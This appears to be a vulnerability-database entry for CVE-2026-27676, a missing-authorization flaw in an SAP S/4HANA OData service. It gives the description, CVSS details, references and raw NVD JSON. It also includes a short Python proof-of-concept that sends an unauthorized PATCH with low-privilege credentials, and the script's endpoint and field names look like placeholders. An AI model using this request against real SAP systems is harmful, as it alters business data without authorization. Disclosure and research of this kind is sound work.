CVE-2026-27676

Description

Due to missing authorization checks in the SAP S/4HANA OData Service (Manage Technical Object Structures), an attacker could update and delete child entities via exposed OData services without proper authorization. This vulnerability results in a low impact on integrity, while confidentiality and availability are not impacted.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP S/4HANA (具体受影响版本请参考SAP Security Note 3711682)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL placeholder
url = "https://<s4hana-host>/sap/opu/odata/sap/API_TECH_OBJ_STRUCT/EntitySet('<ID>')"

# Attacker's low-privilege credentials
auth = ('low_priv_user', 'password')

# CSRF Token is usually required for OData write operations
headers = {
    "Content-Type": "application/json",
    "x-csrf-token": "<fetch_token_via_head_request>"
}

# Malicious payload to update the entity
payload = {
    "PropertyToChange": "MaliciousValue"
}

try:
    # Send PATCH request to update entity (Exploitation)
    response = requests.patch(url, headers=headers, json=payload, auth=auth)
    
    if response.status_code in [200, 204]:
        print("[+] Exploit Successful: Entity updated without proper authorization.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27676
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27676
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27676/
[4] VulDB https://vuldb.com/cve/CVE-2026-27676
[5] https://me.sap.com/notes/3711682
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27676", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:05.987", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to missing authorization checks in the SAP S/4HANA OData Service (Manage Technical Object Structures), an attacker could update and delete child entities via exposed OData services without proper authorization. This vulnerability results in a low impact on integrity, while confidentiality and availability are not impacted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3711682", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}